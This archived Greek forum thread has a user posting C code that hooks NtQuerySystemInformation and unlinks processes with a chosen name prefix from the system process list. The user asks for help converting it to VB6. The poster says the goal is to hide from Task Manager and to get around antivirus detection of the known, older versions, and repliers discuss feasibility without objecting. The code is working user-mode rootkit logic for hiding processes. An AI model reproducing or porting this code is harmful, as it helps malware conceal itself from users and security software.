Προς το περιεχόμενο

Μετατροπη σε VB


ntaryl

Προτεινόμενες αναρτήσεις

Δημοσ.

καλησπερα

παιδια θελω να μεταρεψω αυτο το κομματι κωδικα σε VB 6.0

οποιος μπορει να με βοηθησει

>

DWORD WINAPI MyNtQuerySystemInformation(DWORD SystemInformationClass,
PVOID SystemInformation, ULONG SystemInformationLength,
                                                               PULONG ReturnLength)
{
       PSYSTEM_PROCESS_INFORMATION pSpiCurrent, pSpiPrec;
       char *pname = NULL;
       DWORD rc;

       /* 1st of all, get the return value of the function */
       rc = fNtQuerySystemInformation(SystemInformationClass,
             SystemInformation, SystemInformationLength, ReturnLength);
       
       /* if sucessful, perform sorting */
       if (rc == STATUS_SUCCESS)
       {
               /* system info */
               switch (SystemInformationClass)
               {
                       /* process list */
               case SystemProcessInformation:
                       pSpiCurrent = pSpiPrec = (PSYSTEM_PROCESS_INFORMATION)
                                                  SystemInformation;
                       
                       while (1)
                       {
                               /* alloc memory to save process name in AINSI
                                  8bits string charset */
                               pname = (char *) GlobalAlloc(GMEM_ZEROINIT,
                                   pSpiCurrent->ProcessName.Length + 2);
                                                               
                               /* Convert unicode string to ainsi */
                               WideCharToMultiByte(CP_ACP, 0,
                                   pSpiCurrent->ProcessName.Buffer,
                                   pSpiCurrent->ProcessName.Length + 1,
                                   pname, pSpiCurrent->ProcessName.Length + 1,
                                   NULL, NULL);

                                   /* if "hidden" process*/
                               if(!_strnicmp((char*)pname, RTK_PROCESS_CHAR,
                                   strlen(RTK_PROCESS_CHAR)))
                               {
                                       /* First process */
                                       if (pSpiCurrent->NextEntryDelta == 0)
                                       {
                                           pSpiPrec->NextEntryDelta = 0;
                                               break;
                                       }
                                       else
                                       {
                                               pSpiPrec->NextEntryDelta +=
                                                     pSpiCurrent->NextEntryDelta;
                                               
                                               pSpiCurrent =
                                               (PSYSTEM_PROCESS_INFORMATION) ((PCHAR)
                                               pSpiCurrent +
                                               pSpiCurrent->NextEntryDelta);
                                       }
                               }
                               else
                               {
                                       if (pSpiCurrent->NextEntryDelta == 0) break;
                                       pSpiPrec = pSpiCurrent;
                                       
                                       /* Walk the list */
                                       pSpiCurrent = (PSYSTEM_PROCESS_INFORMATION)
                                       ((PCHAR) pSpiCurrent +
                                       pSpiCurrent->NextEntryDelta);
                               }
                               
                               GlobalFree(pname);
                       } /* /while */
                       break;
               } /* /switch */
       } /* /if */
       
       return (rc);
}

 

Υ.γ Ευχαριστω πολυ

Virxen ριξε μια ματια

Δημοσ.

μου φαίνεται πιο απλό να μας πεις τι θες να κάνεις

και να το γράψουμε από την αρχή

παρά να προσπαθήσουμε να βγάλουμε άκρη

από τον κώδικα που στέλνεις.

Δημοσ.

my guess: προσπαθεί να υλοποιήσει ενα rootkit σε... vb6 :-)

 

οκ. δεν λεω οτι ειναι αδύνατο, αλλα οταν μπλεκεις με τέτοια -low level- θεματα, θα αναγκαστείς να διαβάσεις κώδικα win32. Ασχετα σε τι γράφεις (vb,net,delphi, anything..) το δικό σου app , θα αναγκαστεις να καλέσεις win32 api.

 

αν δεν ξερεις τα βασικα απο c/c++ δεν θα πας πολύ μακρυά.

Δημοσ.

Καλησπερα

Πολυ σωστα φιλε random προσπαθω να το φτιαξω σε VB 6.0

http://www.securiteam.com/securityreviews/5FP0E0AGAC.html

Πολυ νομιζουνε οτι ειναι αδυνατο αλλα αφου μπορει να φτιαξει standalone dll τοτε μπορει ..

Φιλε virxen75 προσπαθω να φτιαξω την επιστροφη της NtQuerysystemInformation ετσι ωστε οταν την κανω Hook να μπορει να κρυβει ενα αρχειο απο το task manager.

Τα μονα παραδειγματα κωδικα που υπαρχουν ειναι υλοποιημενα σε αλλες Γλωσσες και γι αυτο ποσταρισα αυτο το κομματι κωδικα .

Φιλε ippo00 .Δεν εχω σκεφτιε ακομα να αλλαξω αφου εδω εχει ακομα Ψωμι

Δημοσ.

καλησπερα

Φιλε virxen75 το συγκεκριμενο παραδειγμα ειναι αρκετα παλιο και εχει χρησιμοποιηθει για την κατασκευη πολλων προγραμματων .εχει ως συνεπεια να ειναι γνωστο στα AV.

Το παραδειγμα χρησιμοποιει ενα driver(sys) ο οποιος κανει ολη την δουλεια

Δεν θελω να ασχοληθω σε επειεπεδο 0 .Αλλα μονο σε επειπεδο 3 (user mode)

 

Σχετικα με το "υπάρχουν πολλές υλοποιήσεις σε VB "

Δεν εχω βρει κατι .

Παντα μιλαω σε επιπεδο 3(ring3 )

Αν εχεις εσυ κατι ?

καλο βραδυ

Αρχειοθετημένο

Αυτό το θέμα έχει αρχειοθετηθεί και είναι κλειστό για περαιτέρω απαντήσεις.

  • Δημιουργία νέου...